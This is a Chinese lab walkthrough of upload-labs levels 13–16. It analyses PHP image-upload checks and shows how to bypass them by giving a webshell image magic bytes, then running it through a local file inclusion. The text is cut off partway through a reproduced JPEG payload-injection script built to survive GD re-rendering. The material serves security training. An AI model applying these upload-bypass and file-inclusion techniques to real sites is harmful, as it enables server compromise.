文件上传漏洞-upload靶场13-16关 (图片木马-文件包含与文件上次漏洞)
简介
upload靶场到了第十三关,难度就直线上升了,在最后这7关中,包含了图片木马、竞争条件等上传技巧,这些漏洞的本质,都是在于源码验证不到位,接下来就upload图片木马系列的通关吧。
upload第十三关(图片木马,验证头部2字节)
思路
源码分析
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
该源码有两个逻辑,
- 自定义了一个函数
getReailFileType($filename)
,通过图片文件的前两个字节,来检测上传的图片文件类型。流程如下:- 接受一个文件名作为参数,在函数内部通过读取文件的前两个字节来获取文件的真实类型。
- 使用
fopen()
函数打开文件,并以二进制模式(“rb”)进行读取。 - 使用
fread()
函数读取文件的前两个字节。 - 使用
fclose()
函数关闭文件。 - 使用
unpack()
函数将读取的二进制数据解包为两个字节的 ASCII 字符。 - 将解包后的字符转换为整数类型,存储在变量
$typeCode
中。 - 根据
$typeCode
的值判断文件的类型(jpg、png、gif),将相应的文件类型存储在 $fileType 变量中。 - 如果
$typeCode
的值不在已知的类型范围内,则将文件类型设置为 ‘unknown’。 - 返回文件类型 $fileType。
- 主逻辑用于判断,上传的图片类型,是否满足要求,满足则上传,不满足则提示文件未知,判断逻辑如下:
- 根据用户提交的表单,检查是否存在名为
submit
的字段。 - 如果存在
submit
字段,则继续处理上传文件。 - 获取上传文件的临时路径
($_FILES['upload_file']\['tmp_name'])
。 - 调用
getReailFileType
函数获取文件的真实类型。 - 如果文件类型为
unknown
,将$msg
设置为 “文件未知,上传失败!”。 - 如果文件类型不是 ‘unknown’,生成新的文件路径
$img_path
,包括随机数、日期和文件类型后缀。 - 使用
move_uploaded_file
函数将临时文件移动到新的文件路径。 - 如果成功移动文件,将
$is_upload
设置为 true。 - 如果移动文件失败,将
$msg
设置为 “上传出错!”。
- 根据用户提交的表单,检查是否存在名为
这里需要补充一个知识,图片文件头两个字节是什么?
对于常见的图片文件格式,其文件头的前两个字节通常具有特定的标识码,用于识别文件类型。以下是几种常见图片文件格式的文件头标识码:
- JPEG/JPG 文件:文件头标识码为 0xFFD8(十进制为255216)。
- PNG 文件:文件头标识码为 0x8950(十进制为13780)。
- GIF 文件:文件头标识码为 0x4749(十进制为7173)。
这些文件头标识码是各自图片文件格式的特定标记,用于帮助识别文件的类型。通过读取文件的前两个字节并与预定义的标识码进行比较,可以初步判断文件类型是否为JPEG、PNG或GIF。
由此可见,该源码只针对图片的类型进行了验证,但是并没有对后缀验证,我们是否可以在webshell文件的头部的第一个字节和第二个字节,添加一个jpg文件的标识码进行绕过呢?理论上来说是可行的,接下来开始尝试攻击。
###攻击思路
首先准备webshell,在webshell内添加图片标识码。
大家觉得,我直接上传这个webshell,能通过验证吗?
答案是无法通过的,因为源码验证的是头部两个字节,虽然它转换成10进制后是255216,但是如果直接写在webshell内,它则表示了6个字节,肯定无法通过验证的,所以在这里的思路是,在webshell的头部随意添加2个字节,然后使用16进制编辑器,把这两个字节更换成十六进制,0xFFD8
修改完成后我们发送这个webshell,看看是否能成功绕过。
从响应包里,我们发现文件的路径,因为主逻辑源码的改名规则,它下的名字为5620230902124504.jpg
,已经成功上传了,但是在此它的后缀名为.jpg
,是图片的后缀,但是我们又没发修改apache的主配置文件,或再度上传一个.htaccess配置文件去,去增加对.jpg
文件的解析,这就造成了webshell无法解析的困境,这也证明是源码的健壮性。即使能上传一个webshell文件,但我把所有上传文件的的后缀名,都按你上传文件的标识,改成其相对应的后缀,从而阻止的webshell的正常解析。高明,实在是高明。
对此我们就没办法了吗?不,我们还是有办法来解决的,这里就要引入另一种漏洞“文件包含漏洞”
。
文件包含漏洞介绍
文件包含漏洞
存在于许多服务器端编程语言和框架中。这种漏洞允许攻击者通过利用应用程序未经正确验证的文件包含代码,将恶意文件或远程文件包含到目标应用程序的执行环境中。
文件包含漏洞的主要原因在于应用程序在包含文件时未对用户输入进行充分的验证和过滤,或者将用户可控的输入直接用于文件路径或文件名。攻击者可以利用这个漏洞来执行恶意代码、读取敏感文件、绕过访问控制或进行其他非法操作。
文件包含漏洞可以分为两种类型:
-
本地文件包含漏洞:攻击者通过指定包含的本地文件路径,从同一服务器上读取和执行文件。攻击者可以利用此漏洞读取系统文件、配置文件、敏感信息等。
-
远程文件包含漏洞:攻击者通过指定远程文件的URL,从远程服务器上加载并执行文件。攻击者可以使用此漏洞加载恶意代码,控制执行环境,甚至对目标服务器进行远程代码执行。
如果要利用文件包含的漏洞
,php主配置文件php.ini
一下两个配置要处于开启状态:
-
allow_url_include:这个配置决定是否允许在文件包含函数(如include和require)中使用URL路径。默认情况下,这个配置应该是禁用的(off)以避免安全风险。将其打开(on)可能会导致远程文件包含漏洞。
-
allow_url_fopen:这个配置决定是否允许使用文件函数(如fopen、file_get_contents)读取远程URL的内容。默认情况下,这个配置应该是禁用的(off)以避免安全风险。将其打开(on)可能会导致远程文件包含漏洞。
PHP补充知识
在php中一共有四个包含的关键词
include
、require
、include_once
、require_once
,它们所代表的意思分别为:
include
:用于包含指定的外部文件,并在执行过程中解析和执行该文件中的代码。如果包含操作失败,include
会发出一个警告并继续执行脚本。
require
:与include
类似,用于包含指定的外部文件,并在执行过程中解析和执行该文件中的代码。但与include
不同的是,如果包含操作失败,require
会引发一个致命错误,停止脚本的执行。
include_once
:与include
类似,但在包含文件之前会先检查该文件是否已经被包含过。如果已经包含过,将不会再重复包含。这可以防止重复定义变量或函数等问题。
require_once
:与require
类似,但在包含文件之前会先检查该文件是否已经被包含过。如果已经包含过,将不会再重复包含。与require
不同的是,require_once
会引发致命错误,而不是只发出一个警告。在php中
fopen
、fgets
、curl
、file_get_contents
等函数都能用于去读取远程URL内的代码。
fopen
和fgets
:fopen
用于打开远程URL时,fgets
可以逐行读取URL中的文本内容,包括代码。例如:$handle = fopen('http://example.com/file.php', 'r'); while (!feof($handle)) { $line = fgets($handle); // 处理每一行代码 echo $line; } fclose($handle);
curl
:curl
函数是一个功能强大的库,可用于进行各种网络通信操作,包括获取远程URL的内容。例如:$ch = curl_init('http://example.com/file.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;
file_get_contents
:file_get_contents
函数是最简单、最常用的函数之一,可用于读取远程URL的内容。例如:$contents = file_get_contents('http://example.com/file.php'); echo $contents;
这种漏洞非常可怕,通俗的来说,它会把所有文件当作php文件去解析执行,例如我们此次测试的靶场,我们上传了的这个webshell,因为后缀名是.jpg
,我们又无法对apache的配置文件进行更改,从而导致我们能上传,却无法运行解析的囧境,如果现在该靶场有一个文件包含的漏洞,我们就可以把这个文件,扔到这个漏洞中,解析执行。思路已经全部理清楚了。
主要流程就是:
- 把webshell加上对应的允许上传的标识头
- 上传webshell,把MIME值修改成对应的值,或把后缀改成对表示头的后缀。
- 因上传后文件后缀,变成了对应的后缀,所以利用文件包含漏洞去解析该文件,保证能以php文件的方式执行
攻击思路
老规矩打开burp suite拦截请求包,并上传一个webshell。
在burp suite中使用16进制编辑器去修改 webshell的头部标识,改成jpg
的标识头0xFFD8
上传成功后,从响应包中,找到图片的路径。
upload靶场提供了一个文件包含漏洞,用于我们去测试
它是一个GET方式的本地文件包含漏洞,我们复制刚才上传文件的路径,使用这个本地文件包含的漏洞去测试,是否攻击成功。
http://192.168.30.253/upload/include.php?file=./upload/9320230902134040.jpg
注意在输入路径时候,把第一个/
加上.
表示本级目录
在此webshell已经解析成功,有两个乱码字符,它们就是jpg
的表示头,至于php代码为什么看不见,因为它们被正常解析了,最后我们在去解析phpinfo()函数,查看是否成功。
成功解析phpinfo(); 成功通过,我们已经了解,图片的头部标识,只要我们把webshell的头部,更换成相应图片的头部,就能完成webshell的上传,在这里也不在测试了。
upload第十四关(木马图片,getimagesize()函数漏洞)
思路
源码分析
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
自定义函数isImage();逻辑:
-
函数接收一个文件路径作为参数:
$filename
。 -
定义了一个字符串变量
$types
,其中包含了预定义的允许的图像文件扩展名,如.jpeg
、.png
、.gif
。 -
使用
file_exists
函数检查给定的文件是否存在。如果文件不存在,直接返回false
,表示上传的文件无效。 -
如果文件存在,通过
getimagesize
函数获取图像的信息,包括图像的宽度、高度和类型。 -
使用
image_type_to_extension
函数将图像类型转换为文件扩展名,保存在变量$ext
中。 -
使用
stripos
函数(字符串不区分大小写的搜索)检查图像文件的扩展名$ext
是否在允许的图像扩展名$types
中。- 如果匹配到了一个允许的图像扩展名,返回该扩展名作为结果,表示上传的文件是一个有效的图像文件。
- 如果没有找到匹配的图像扩展名,返回
false
,表示上传的文件虽然存在,但不是一个允许的图像文件。
主逻辑:
-
服务器端的代码首先检查是否设置了
$_POST['submit']
,如果设置了,表示用户点击了"提交"按钮,接下来执行以下逻辑。 -
提取上传文件的临时文件路径:
$temp_file = $_FILES['upload_file']['tmp_name'];
。这里假设表单中使用了名为upload_file
的文件上传字段。 -
调用
isImage
函数验证上传的文件是否为图像文件,并将结果保存在变量$res
中。isImage
函数的具体逻辑在之前的回答中进行了说明。 -
根据
isImage
函数的返回结果进行判断和处理:- 如果
$res
的值为false
,表示上传的文件不是图像文件,则将错误消息赋值给$msg
变量,提示用户上传的文件未知且上传失败。 - 如果
$res
的值为图像文件的扩展名,说明上传的是一个图像文件。
- 如果
-
如果文件是图像文件,并通过验证,则生成一个随机的文件名:
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
这里假设存在一个名为UPLOAD_PATH
的常量,表示上传文件的保存路径。 -
使用
move_uploaded_file
函数将临时文件移动到指定的目标路径。如果移动成功,则将
$is_upload
变量设置为true
,表示文件上传成功。如果移动失败,则将错误消息赋值给$msg
变量,提示上传出错。
在该源码中出现了三个关键系统函数,getimagesize
、image_type_to_extension
、stripos
、,这三个函数的含义是
-
getimagesize($filename)
:这是一个 PHP 系统函数,用于获取指定图像文件的信息,包括图像的宽度、高度和类型。它接收一个文件路径作为参数,并返回一个数组,包含图像的各种信息,- 例如
$info = getimagesize($filename)
。在使用这个函数时,需要确保传递给它的是一个有效的图像文件。
- 例如
-
image_type_to_extension($info[])
:这是一个 PHP 内置函数,用于将图像类型常量转换为相应的文件扩展名。它接收一个表示图像类型的常量作为参数,如$ext = image_type_to_extension($info[2])
。它会返回与给定图像类型常量对应的文件扩展名。- 例如,对于 JPEG 类型,返回的扩展名就是
.jpeg
,对于 PNG 类型,返回的扩展名就是.png
。 - 这里参数
$info[2]
则表示getimagesize()
返回数组的第三个值,这个函数返回数组的其他值大致如下:$info[0]
:图像的宽度,以像素为单位。$info[1]
:图像的高度,以像素为单位。$info[2]
:图像类型的常量值,表示图像的文件类型。这个值对应于不同的图像格式,如JPEG、PNG、GIF等。具体的类型常量值可以参考之前的解释。- 1 = GIF,
- 2 = JPG,
- 3 = PNG,
- 4 = SWF,
- 5 = PSD,
- 6 = BMP,等
$info[3]
:包含了额外的图像信息的字符串。这通常是用于提供图像的详细格式信息,比如图像的颜色模式、分辨率等。具体的内容和格式可能在不同的图像类型之间有所不同。
- 例如,对于 JPEG 类型,返回的扩展名就是
-
stripos($types, $ext)
:这是一个 PHP 内置函数,用于在一个字符串中进行不区分大小写的子字符串搜索。它接收两个参数。-
第一个参数是要搜索的字符串
-
第二个参数是要查找的子字符串。
-
它返回子字符串在字符串中第一次出现的位置,如果没有找到,则返回
false
。 -
在这里的
stripos($types, $ext)
是用来在允许的图像扩展名列表$types
中搜索文件扩展名$ext
。
-
通过源码分析后,发现它也是验证文件的类型,它与pass-14很相似,就是验证的函数发生了变化,
-
pass-14是通过
getReailFileType()
函数打开文件,并读取其中的前两个字节,然后根据读取的字节内容判断文件的实际文件类型。 -
pass-15是使用
getimagesize()
函数来获取图像文件的类型信息,然后使用image_type_to_extension()
函数将图像类型转换为文件扩展名。
它们两最终的目的,都是通过验证文件内的标识文件来判断文件的类型,那么在pass-14使用的攻击思路是否能在pass-15中运用呢?接下来我们一起来测试一番
攻击思路
老规矩了,上传pass-14准备的webshell文件,使用burp suite拦截请求包。
拦截到请求包以后,使用burp sutie的16进制编辑器修改 webshell中的25字符(标识头)
经过多次测试,发现pass-14的方法,在pass-15无法使用,修改文件标识头后,任然无法正常上传webs hell。
于是我用16进制编辑器,把0xffd8 写入到webshell中,又写了一串代码来测试getimagesize()函数 ,查看这个函数是否能识别我的webshell为jpg图片。
发现使用getimagesize()
函数无法识别,1.php
是图片,我使用file_get_contents()
、bin2hex()
将1.php
文件以十六进制打开,发现文件头部是jpg
的头部标识0xFFD8
,难道getimagesize()
函数识别图片类型的方式与我预想不一样?于是我做了以下实验。
当我使用正常的图片给getimagesize()
函数时发现他能正常识别
- [0]是返回图片的宽度,它是数值类型
- [1]是返回图片的高度,它是数值类型
- [2]返回的图片的类型,它是数值类型
- [‘mime’]返回的是MIME的值,它是字符串类型。
这就让我感觉有点郁闷了,于是又对jpg图片的编码进行了一番研究,jpg文件编码相关规则如下:
在 JPEG 文件中,包括文件头部(Header)、文件内容(Content)和文件尾部(Footer)。下面介绍一下 JPEG 文件的基本结构:
-
文件头部(Header):文件头部包含了 JPEG 文件的起始标记和一些元数据。通常,起始标记为
FF D8
,表示 JPEG 图像的开始。文件头部还可能包含像 APP0、DQT 等标记,用于标识文件的应用数据、量化表等信息。 -
文件内容(Content):文件内容是 JPEG 文件的主要部分,包含图像的二进制数据。这些数据经过压缩和编码,用于表示图像的颜色和细节。这部分数据的结构是根据 JPEG 图像压缩算法进行的,并且可以通过专门的算法和工具进行解码和处理。文件内容是 JPEG 文件中最大的部分。
-
文件尾部(Footer):JPEG 文件的文件尾部通常是一个特殊的结束标记
FF D9
,表示 JPEG 图像的结束。该标记指示 JPEG 解码器在解码图像时到达文件的末尾。
以下这串十六进制编码是一张图片的头部编码
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01 00 01 00 00 FF DB 00 43 00 02 01 01 01 01 01 02
01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06
07 09 07 06 06 08 0B 08 09 0A 0A 0A 0A 0A 06 08 0B 0C 0B 0A 0C 09 0A 0A 0A FF DB 00 43 01 02 02
02 02 02 02 05 03 03 05 0A 07 06 07 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A
0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A FF C0
其中部分含义如下
-
FF D8
:文件起始标识符(SOI),表示 JPEG 文件的起始,同时也表示它是JPG类型的文件。 -
FF E0
:应用程序标记段(APP0 标记段),表示应用程序相关信息的开始。 -
00 10
:数据长度,表示 APP0 标记段的数据长度。 -
4A 46 49 46
:标识符,表示 JFIF(JPEG File Interchange Format)。-
JFIF 是一种常见的 JPEG 文件格式,用于定义 JPEG 图像的文件格式和结构。它为 JPEG 图像提供了通用的交换和共享标准,旨在确保不同应用程序和平台之间的互操作性。
JFIF 格式定义了 JPEG 文件的文件头、图像数据和一些元数据信息。它包含了以下关键的信息:
-
版本号:JFIF 文件格式的版本号,通常为 1.0。
-
像素密度单位和像素密度:用来指示图像中每单位长度的像素数量。单位通常是“点/英寸”(dpi)或“点/厘米”(dpcm)。
-
缩略图:JFIF 格式可以包含一个缩略图,用于快速预览图像。缩略图通常采用较低的分辨率、较低的压缩质量以及较小的文件大小。
-
-
-
00 01
:JFIF 版本号。 -
01 01
:像素密度单位和像素密度,通常表示像素密度为点/英寸(dpi)。 -
2C 01
:水平像素密度(72 dpi)。 -
2C 00
:垂直像素密度(72 dpi)。 -
FF C0
:它标识帧头SOF0,它记录着图片的图像帧参数和颜色空间信息,它后面的字段表示着如下信息:- 字节 1-2:帧头长度,指示参数部分的长度。
- 字节 3:精度,表示图像颜色数据的精度(通常为8位)。
- 字节 4-5:图像高度,指示图像的高度。
- 字节 6-7:图像宽度,指示图像的宽度。
- 字节 8:分量数,标示图像颜色分量的数量。
getimagesize()
最终要读取到这个位置,才能正常去识别一张图片,如果没有这个字节,默认是不识别。在这里我们删除
FF C0
后面字节参数,所以它显示高度为26736,宽度为16240,这是它的默认参数。但这些值显然是不符合实际情况的。我们安装以上的解释,向
FF C0
写入一些参数,看是否能生效。 - 字节 1-2:帧头长度,指示参数部分的长度。
写入参数后,立刻生效了,另外,我在分析JPG编码的时候,又发现一个规律,
在JPG中如果是以FF
开头,一般都与后面的一个字节组成一个标记:
- FF D8:起始标记,表示 JPEG 图像的开始。
- FF DB:定义量化表(Define Quantization Table)的标记。
- FF C0:起始帧头(Start of Frame)的标记。
- FF C4:定义 Huffman 表(Define Huffman Table)的标记。
- FF DA:扫描组(Start of Scan)的标记。
- FF D9:结束标记,表示 JPEG 图像的结束。
好了,JPG编码我们也研究的差不多了,对它大致上也了解了,接下来继续靶场通关,由于我们已经成功的制作一个图片webshell,我们直接上传它看看是否能成功上传。
成功上传,此处就证明我的想法是对了,相比pass-13的验证,pass-14的验证更为严格,pass-13只验证头部两个字节,而pass-14 使用getimagesize()
需要验证图片头部直至开始帧头(SOF0)位置。现在我们在使用提供的文件包含漏洞去解析webshell。
ok了,成功解析,成功通关。
测试代码如下有需求的可以自取
<?php
$file = '文件路径';
$imageInfo = getimagesize($file);
$content = file_get_contents($file);
$bin = bin2hex($content);
echo '<pre>';
echo $bin;
if ($imageInfo) {
$width = $imageInfo[0];
$height = $imageInfo[1];
$mime = $imageInfo['mime'];
$type = $imageInfo[2];
echo '<br>';
echo "宽度: " . $width . "<br>";
echo "高度: " . $height . "<br>";
echo "MIME类型: " . $mime . "<br>";
echo "标识" . $type.'<br>';
} else {
echo "无法获取图像信息!";
}
upload-第十五关 (图片木马 ,exif_imagetype()函数漏洞)
思路
源码分析
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
这一关的源码主逻辑部分与之前大致一样,但是在自定义函数isImage
区别较大。首先还是先介绍一下,这一关的关键函数exif_imagetype()
:
exif_imagetype()
是php中的内置函数,主要用于确定图像的类型,有一个参数,和两个返回值,
- 参数:需要检测的图像路径
- 返回值:
- 如果能确定类型则返回的图像类型常量及其对应的整数值:
IMAGETYPE_GIF
:1,表示 GIF 图片。IMAGETYPE_JPEG
:2,表示 JPEG 图片。IMAGETYPE_PNG
:3,表示 PNG 图片。IMAGETYPE_SWF
:4,表示 Flash SWF 文件。IMAGETYPE_PSD
:5,表示 Adobe Photoshop 图片文件。IMAGETYPE_BMP
:6,表示 BMP 图片。
- 如果不能确定类型则返回
false
.
- 如果能确定类型则返回的图像类型常量及其对应的整数值:
函数原理:
exif_imagetype
函数通过检查文件的头部标识来确认图片,貌似exif_iamgetype
和 pass-13关卡的验证差不多,因为pass-13是读取文件头部的2个字节,它也表示头部标识,那我们来尝试,直接使用pass-13的webshell,看能否成功上传。
攻击思路
上传webshell后,发现连上传界面都没有了,what靶场出bug了吗?
NONONO,这不是靶场的bug,人家在源码中明确就说了,要开启PHP中的php_exif
扩展,在没有打开这个参数的时候,上传文件都会这样,为什么呢? 我们也来解释下php_exif
到底是个啥。
php_exif
是一个用于读取和操作 JPEG 和其他图像文件中的 EXIF 元数据的 PHP 扩展模块。。exif_imagetype()
函数需要php_exif
扩展来解析和读取文件的图像类型。如果没有启用php_exif
扩展,该函数将无法正常工作,并且在判断文件类型时可能产生错误。
明白原理后,我们去php的主配置文件php.ini
中找到该模块并开启,如果没找到就在配置文件最后把以下代码输入进去,就OK
php_exif = On
继续我们进攻
这是我们要上传的webshell,已经通过16进制编辑,把jpg的头部标识加入到首部,我们尝试直接上传。
提示文件未知,上传失败,我刚肯定它没有识别到图片类型,把exif_imagetype()
加入到我的测试代码,带测试到底什么情况下才能识别到。
测试以后发现,并没有读取文件类型。然而exif_imagetype()
函数的描述,就是获取图片的文件头部标识啊,使用蠢办法,我们以一个字节为单位,慢慢去测试,看看它到底要验证到头部哪里,开始行动
我们增加一个字节,在去测试。
哦吼,只添加了一个字节就已经识别到了,还是比较幸运的,我还以为又要测试到天荒地老了。
现在我们在来分析,为什么在头部标识符后面添加一个ff
字节就能成功识别呢?
我们去找一张正常的图片,使用该函数进行检测,
就以这张图为例,先给我写的代码检测。
目前是可以识别。使用十六进制编辑器,修改头部标识
修改以后发现图片类型就无法识别了,所以粗略觉得,该函数应该是效验了头部的三个字节来进行验证。废话也在多说,我们继续接下来的攻击。
直接上传一个,添加了jpg文件头部三个字节的webshell,进行上传
上传成功,这也进步证实了我们的理论。接下来就是最后一步 解析这个webshell
解析成功!
测试代码如下有需求丶小伙伴可自取:
<?php
$file = '文件路径';
$bin = bin2hex(file_get_contents($file));
$exif = exif_imagetype($file);
echo '<pre>';
echo "图像类型:" . $exif . "<br>";
echo "图像内容的十六进制表示:" . $bin;
upload-第十六关 (木马图片,二次渲染)
思路
源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
该源码的核心就在于imagecreatefrompng()
函数,它会更具上传的的图片,从新生成一张新的图片,这意味着什么呢,我们如果把webshell写进图片里,上传到后端,后端它会把图片再一次生成渲染,在这个环节,我们的webshell,就可能被直接干掉,上传成功后,也无法正常解析。
该源码的基本流程如下:
- 判断是否提交了表单,使用
isset($_POST['submit'])
来检查。 - 如果提交了表单,则获取上传文件的基本信息,包括文件名、文件类型和临时文件路径。
- 构建目标路径,将上传文件移动到指定的目标路径。使用
UPLOAD_PATH
和basename()
函数来构建目标路径。 - 获取上传文件的扩展名,使用
strtolower()
和pathinfo()
函数来获取文件扩展名字符串。 - 判断上传文件的文件扩展名和 MIME 类型是否与要求匹配,即文件扩展名必须是 “jpg” 或 “jpeg”,MIME 类型必须为 “image/jpeg”。
- 如果匹配成功,则使用
imagecreatefromjpeg()
函数创建一个图像资源对象,即用于二次渲染的新图片。 - 检查图像资源对象是否创建成功,如果失败则表示该文件不是有效的 JPG 图片,给出错误提示信息并删除上传的文件。
- 为新图片生成一个随机的文件名,使用
uniqid()
函数生成唯一的文件名,并添加 “.jpg” 后缀。 - 指定新图片保存的路径,使用该路径调用
imagejpeg()
函数将图像资源对象保存为 JPEG 图片。 - 释放图像资源对象,使用
imagedestroy()
函数释放对象所占用的内存。 - 删除原始上传的文件,使用
@unlink()
函数删除上传的文件。 - 上传成功后,将
$is_upload
设置为true
,表示上传成功。如果出现上传错误,将$msg
设置为相应的错误信息,在页面中显示错误信息。
后面两个判断语句流程与它一模一样,区别就是第一个是判断jpg
、第二个是判断png
、第三个是判断gif
,在该源码中,还增加了对MIME
类型的判断,但是最为核心的还是在imagecreatefromjpeg()
这个函数,接下来我们一起来分析这个函数的原理,它怎么样去生成新的图片。
经过三天的分析,还是没能想pass13-15那样,直接修改jpg格式,头部标识去解决这一关,在修改jpg图片编码时,删除字节较多上传会出现文件类型不对,在jpg编码内容区域新增或修改字节,也会出现文件类型不对,如果想要真正的从编码去解决这一关,就要把php中的GD库原理彻底搞明白,由于现在时间有限,不在纠结使用图片编码解这一题,就以目前了解到的情况,在github上找了,一个图片马生成脚本来解决该题。
还是先谈谈这几天的发现:
imagecreatefromjpeg()
函数是调佣GD库区重新生成图片,它会接受一个图片资源路径参数,然后根据这个图片的内容,去生成新的图片,这种生成是编码层面的,所以我们感知不到,以下是我这几天遇到的问题。- 在生成图片时,如果说接收的图片资源参数有问题,它不会去创建生成新的图片,之前三天的研究一直没能突破,也是因为这一点,对原图稍微有点改动,都无法创建新图片。
- 生成的图片,内部编码大部分都会变动,这导致我们写入图片内的webshell编码,也会变的无法通过文件包含漏洞去解析。
- 因为新图片生成,会改变内部编码,所以并不是所有的图片,经过加工就能成功,要准备多张jpg图片去尝试,
github上找到的php生成图片码脚本:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if (!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for ($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if ($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if ($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0", $nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_' . $argv[1], $outStreamTmp, TRUE);
if ($extraBytes !== 0) {
while ((!$dis->eof())) {
if ($dis->readByte() === 0xFF) {
if ($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0", $nullbytePayloadSize) .
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize + $imageStreamSize - $extraBytes) .
substr($outStream, $stopPos);
} elseif ($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
